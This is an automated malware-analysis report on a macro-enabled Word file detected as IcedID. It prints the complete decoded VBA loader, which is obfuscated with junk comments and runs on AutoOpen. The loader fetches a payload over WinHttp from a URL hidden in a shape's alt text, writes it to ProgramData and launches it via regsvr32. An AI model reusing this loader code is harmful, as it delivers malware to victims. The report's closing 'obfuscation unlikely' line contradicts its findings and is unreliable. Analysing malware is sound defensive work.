Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 99a290c499290a01…

MALICIOUS

Office (OOXML)

102.1 KB Created: 2020-10-19 09:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-10-25
MD5: bfb6939984856d1e3b93c8e7e251535f SHA-1: e9a74aa2ff1561b1f69c0e838b6095facfe52862 SHA-256: 99a290c499290a01b486db2b7095834a2b1857d7314708a56456009215bd5d53
290 Risk Score

Heuristics 7

  • ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Set CuSPC = CreateObject(NsrjS + "." + "shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set TqENq = VBA.CreateObject(Cpzkl + "" + ZGcLB)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 14439 bytes
SHA-256: 809cb57bd1645fe6fc2b836a35f52a9b0ef7d88b1f4c3709433dfa3d3157f625
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nuzaQ"
Sub DahBf(aENZm, Optional ByVal QVNOo As String = "c:\programdata\tfYzP.txt", Optional ByVal ZGcLB As String = "systemobject")
' Warmed encampment
' Chronicle
' Doctorates dateline dissemble gill fished
' Relentlessness lava embroidered
' Scribe inoculated hangup cheesemaking goodness
' Snowcapped
' Boastfulness centralised passersby
' Tidy promotional jawing notary bacteriologist indoctrinators
' Upholster urged leopardskin hurrah
' Seemly gears outbound topical
' Smell scaffold enlistment predetermine dishwashers
' Partnership delights cremations
' Rewritten functionality rationalist
' Predecessors overhang preponderance sinned indoctrinated callipers
' Nazism encrustation wholesaler smash
' Biochemists patronisation thinned
' Comestibles pork interment
' Terry drapery bracket teetering frothed
' Whinnying taught gigantic prelude extradition
' Aardwolf mallard vetting bilharzia changeovers
' Potential gleamed
Set TqENq = VBA.CreateObject(Cpzkl + "" + ZGcLB)
' Recalibrating frizzles umpteenth opportune
' Tomes
' Destitution quincentenary galore trooping outstayed
' Voices ostler
Set VFEOI = TqENq.CreateTextFile(QVNOo)
' Newscast northerner
' Invite aslant hating breezier waist
' Hysteric prance
' Detracting legislatively
' Myrrh intonational
VFEOI.WriteLine aENZm
' Heartlands attributed impairments
' Reassume pastures mercurial
' Teenyweeny vertex bantams faraway deckchair whipped
' Battlegrounds necessitated antrum prosecution
' Alumni betraying bangers airways
' Alarming retiree iconoclast
' Threefold recurred besmirch tributes chlorine
VFEOI.Close
' Desirous smiths
' Cormorant pinkie gigavolt
' Geophysicists reminder viscounts
' Hotter augmentation bloodline
' Comeliness reflex meantime baronets
' Grommet sunspot ventilators rucks
' Insurance stylish jeans uses
' Steels weevil anathema waterholes tuckers gone
' Nod inadvertence atrophies unbiassed invasion
' Stepparents misconception bevels let florida
' Jawbones
' Mamas vindictive unwary linseed
' Causes shying
' Aggravating neighbourhoods prostatic reclaimable
' Subcutaneously burial helpings
' Thence kiss advanced
' Syntax reticular
' Eminently undertakings rehashing depravity
' Depraves discriminatory plays highbrow tendrils
' Jackdaw fulltimers boats
' Immaterial waterholes
' Inclination
' Brigade expertly indole
' Entreat
' Exercisable earthenware plates sneeringly harms
' Sweetie dashboard shortlived
' Addles endearment
' Currents duplication
' Narcissism incidence kilts exchequer posing
' Levity swathes confident
' Smuggling ascorbic
' Underground flashlight scoopful vienna
' Adventurously
' Ranked deadon unfreezing lobby rubidium
' Notionally dented pamper
' Quantifies canopener soundcheck spatula dragons goodwill
' Shreds images exultantly reissues radiancy wrangled
' Pageantry optic superficially
' Pleasanter hotblooded coproduced
' Adit quadrature capriole irony gentry
' Break clockwise
End Sub
' Ripest porcelain
' Defilement dispirited lintel tubular
' Integrability aquanaut singularly swindle septicaemia changeling
' Drooping adroit delves malingerers encompassing
' Greediness exhorting
Sub AutoOpen()
' Contagious inspirational neighbourhood
' Pales detection
' Dismissed oryxes missed withdrawing
' Loon mortgage saloons meanly
' Switchable filth follicular policed exacted
' Irate flypast archaisms scare pursues
' Transistorised nonetheless expressively overreacting
' Rotational unevaluated dithering
' Marginalising marketable
' Prohibitions lattices tooting fishes closes diagrams encapsulations
' Pictogram crusades
' Shoplifters chestnuts
' Spittle superfamily unforeseeable
' Stringent smoothness bodily
' Unjustly desolated
' Suntan argon yawningly hankers paralleled
' Dynamited patents significances
' Enter granitic litters
' Transmits smugglers
' Steed fumingly
' Antiseptics commandeer
' Superconductivity damages bactericidal profiteroles seattle
' Weedkiller clocked imitator lunchers
' Belgian ironic stamp
' Dissatisfaction manned frontpage fictional honourably hearths
' Hotheads duckbill horsemen libel recognition
' Challengingly
' Heroically trumpets firstly tripwires kiln
' Bald substantively apiece juiciest
' Constitutional balm pollutes
' Foxiest cockiest easternmost dyestuffs hypersphere
' Jawed advises sodded
' Eviscerate tenuous
' Wantonness hurts transmogrification overtakes constituting
Dim iqyse As New dzAJk
' Starchiest complacently ripple gravitation condescend sicknesses
' Prostatic curatorships
' Prospect residuals topiary peachy neoplasm chastise
' Engrossing confessors
amNhe = ""
 
' Rewind animists pillows wipers
' Allergen subsuming theorised
' Atrium travails beautifiers hummock penurious idiomatically
' Oddness going respire
' Infringement bloc
' Brecciated swifts
' Ardent resourceful blockaded gunships butcher
' Observatories observer oceanographers
' Overfed phlegm sweat
aENZm = iqyse.aszML(GRgFE)
' Elated unobservant forgivable mothballs
' Unshockable imitation served juveniles
' Mumblings
' Cuddled conscience keening textbooks outlet particularities lax
' Audible wittering landslide doodling
' Exile etcetera reflexes beatifies awakening
' Helplessly velar hanoi churlish
DahBf Xvpgd(aENZm)
' Undismayed hotchpotch pelvis
' Uptown sandal encapsulation cabin
' Jostles despotic
' Gofer realign consistently
' Lapwings
' Preferentially lymphoid geek tacky memorial
' Moses tepee
' Spaded nihilism edges castor hemp
' Impregnated
' Parable badminton lowish cretaceous
' Appertaining
' Tumbling perspire oddest
' Ministered intellectuals effulgent protestation
' Explorer westernmost milieus certificated climb scoffed
UHenC wIPiZ(0) + "vr32 c:\programdata\tfYzP.txt", "wscript"
End Sub
Function YDNxJ(gpjhu, tDGNy)
' Executives
' Enslave crucial apprehensively
' Tarnish exiles
' Fledged neurobiology sidestepping selfcontrolled
' Sorrow blockades angina despaired
' String streptococcal rubbles
YDNxJ = Split(gpjhu, tDGNy)
End Function

Attribute VB_Name = "ZcURs"
' Parthenogenesis arbitrated cleavers cramming
' Underestimating impecunious darkroom
' Bobbed skipped trot mapped unnerving
' Hedonist
Function Xvpgd(GVVXU)
' Qualm hieroglyphic plenum handset iteration billboard
' Insect virology
' Snuffle fusion fiestas jovian
' Headphones bestknown bet
' Slice metatarsal guttered
Xvpgd = StrConv(GVVXU, vbUnicode)
' Pleaded corners blackening sawn mildmannered
' Regressions undulations ostriches
' Autocratic being batched
' Wittering granted turntable
End Function
' Harassed beggar
' Stomped fates wardrobes
' Unmanageable disappoints abacus maoists erring grocer
' Invalid missile impulsively
' Feelings swopped daycare predatory
Function Uwnpm()
' Ultrasonic numeric
' Nominated
' Husbandmen retried drag
' Era measly tannin
' Postpones ripened
' Chatting stropped
' Buoyancy maladies decoyed
' Papered underperformance
' Dampish
With ActiveDocument.shapes(1)
Uwnpm = .AlternativeText
End With
End Function
' Zooms floodlights liquors
' Turbines brewers
' Concentrate realised employing
' Hindbrain predilection sinecure
' Avenges countries porches promotional interlinked
' Climactic sisterhood incapability
' Differences imaged blowdried monosyllable
' Wrench
Function wIPiZ(rDBiN)
' Converts ferocious threads shagged
' Synthesising unconscionable motheaten
' Shovels lithological pitcher diversify
' Slackest migrations grassed judo
' Purveyance moustached bumpiest
' Hysterectomy seeped
' Steepened echinoderm rile graduates garnering
' Athens marsh porky muskets
' Retraction limps
' Registry goers monk twisty exporter
' Cholesterol disfiguring formulated crumble outwards plebeian
' Baaing letterbox spiritless postmarks
JSyKZ = YDNxJ(Uwnpm(), "~~~")
MVBnD = JSyKZ(rDBiN)
wIPiZ = MVBnD
End Function

Attribute VB_Name = "dzAJk"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function RspAp(uqqKo, sbBoI, XFAHI)
' Skinny blackballed
' Illegal incentives aphasia snags
' Communicator
' Limestone patron mutters replant wormy
' Screamed unshielded modifies arachnoid
' Liquidation polyunsaturated xenon
' Halogen orang wreaths
RspAp = Mid(uqqKo, sbBoI, XFAHI)
End Function
Public Function jhUiM(AcUix, PVCAI)
' Admiration hypercholesterolaemia grates arrays bleating
' Civilities environmentalist jolting
' Silently stockcar coyness calorimetry arisen
' Pulsation
' Antithetic masochist occasionally wintriest barricaded
' Volleyed defection confections jabbing polling wrinkles
' Kinsmen diagnosed
' Sidestep
' Ombudsmen disappearances
' Elusions avenge raved asphyxia vintner
' Frothiest supervisory
' Cadences always stipendiary caudal
' Indelicacy topographically
' Landholders woes dispels mistranslates molested horsepower
' Sprocket crotch roes
' Sucking garnets saintliest
' Ethological settee sniffers triatomic reassure
' Ashore unquantified thunder
' Rabbi destined orthogonality deities denotations
sLtTJ = Trim(AcUix)
For MMxts = PVCAI To Len(sLtTJ)
VyYTj = RspAp(sLtTJ, MMxts, PVCAI) & VyYTj
Next MMxts
jhUiM = VyYTj
End Function
' Quilts lager
' Distiller clean portage fascinates
' Slackly weathers sarcastically dissolves
' Crevice mismatch
' Punish
' Convents oceanographic dane endanger brushes
Function aszML(orkgT)
' Swotted paternity silvers
' Shareholder disruptive craftspeople felicitation wrench
' Totality
' Technocratic passive
' Overlooked prefix viscous monomers educator
' Fret beholder softwood
Dim cORhN As Object
' Thanked unraisable
' Signaller soandso nearness quantifiers pipe
' Defrosting covariance nucleus
' Lemming stabilisers
' Distrust borrows sparser rediscovers swat camps
' Impostors improperly
' Barbarities duo
' Mouldings appointee
' Shrimp sunshine interpolating precautionary score
' Coincided flagged jazzed deniers outpointed sorriest
' Roguery ice threes causality enervate
' Pointlessness nationally unaesthetic
' Chimaerical
' Offhand aquaria foundations pilasters
Set cORhN = CreateObject(jhUiM(orkgT, 1) + "." + jhUiM(orkgT, 1) + "Request.5.1")
' Bigger fifths
' Asceticism harlot plangent
' Artlessly fisted
' Asphyxiated pack prostitutes explorer
' Adroitly
' Bandiest caviare mealtimes
' Angolan christening festive
' Anna divined percussively
' Octane buttoned orca folklorists
' Hydroponically mahogany
' Overrate
' Dormice dateline severest dedications
' Seasick iguana workbook collating
' Ferociously refutations
' Misplaces confessors
' Autocracies
' Beggary tailpiece repress indirectness meekness
' Jackals curses
' Drollest aidesdecamp taxonomy
' Diggers loftily tenfold cot
' Corded
' Brutalism tuxedo potent filly convict
' Savours
' Residency complainant thereupon homiest
' Eruption largest starlit dully bloodcurdling
' Studiously zeolites authoritarianism
JURfe = wIPiZ(1)
' Success plaids healthily
' Paperless chantings yeomen
' Beaks recitative bagatelle temperance
' Addressable
' Bureaucrat similarly ogrish bedmaker entanglements
' Plausibility peking escalators climaxing horticulture
cORhN.Open "GET", jhUiM(JURfe, 1), False
' Captains congratulates
' Companion playtime duplicity expressions
' Diseases novelties
' Molester differentiable studentship simplifying totalitarian
' Legitimately
' Appeasement equivalences foamiest
' Foundational integrationist warren enquires
cORhN.Send
' Targeting defection abjured ransomed wicker
' Unbalance wishes
' Revere vangogh
' Trumps administration herald modalities plasmas
' Over curtained mechanically determination
' Smarten gushed persecution verifications theorists henceforward schematics croqueting
aszML = cORhN.responsebody
End Function

Attribute VB_Name = "Jxcgk"
Public Const GRgFE As String = "ptthniw"
Public Const Cpzkl As String = "scripting.file"
Sub UHenC(zjuDh, NsrjS)
' Populism
' Microlight nonconformity anklets
' Aggrieved slavish licensee parables redtape discontinuity
' Sentences
' Concatenated malfunctioning cultivator
' Weekenders hexagrams impropriety
' Obstetrics helium sufferers
Set CuSPC = CreateObject(NsrjS + "." + "shell")
' Preamplifier lichee ructions fadeout
' Furthermore
' Witness remake rebirth annihilate
' Squawks setts tunic
' Busters underlain streaking
' Kinds tightfisted swopping
' Downstream physiologically searchlights retiree
' Ideologically coops
' Displacement surging judiciously
' Radiologists bop perpetually styli bloodhounds supervises
' Solute profits
' Graced postmortems serrate
' Biometrics tutors enduring above
' Referenced uncultivated misspent rem
' Fuchsias therewith bitches extensors
' Sweethearts undistinguished mention
' Groups pornographic psychoanalysts aerodromes perspex lifelessly
' Grizzly
' Mildmannered
' Blameful vetting productive instrumentals howlers scriptwriter genius
' Bejewelled
' Ifs attendees elucidation
' Heterosexist theatrical
' Menagerie widely maine
' Revisiting prams roll
' Perchance patience
' Retorts begins
' Priority
' Cardigans lustre
' Brothers sticky centralist belled nuptial
' Unfashionably tightens flexes
' Selflessly teaming cries
' Discusses broaden soapier ventricles
' Gossipy succeeding
' Oboes electrolyte superannuation
' Wellordered redcross
' Northern iterated sabotaged integrable
' Caldron recanted sinus jeer untrodden bounder heretical
' File relinked plunging came remembrances
' Cribbed amine sedatives
' Washstand gear trustfully
' Utopia contaminants brogue cruelness
' Turnovers betrayals jaunty
' Loth oilfield nab
Call CuSPC.exec(zjuDh)
' Beginning
' Accentuating unseeing presto
' Automobile foresight reciprocation ears
' Ploughing manacles
' Particularism assimilation
' Trailing payee agglomeration insanitary
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 50688 bytes
SHA-256: e33c86f50340f06ca1c2a89a731cda450a3014bd7bf17b6db1d39cc8f3a3eac5
Detection
ClamAV: Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload: unlikely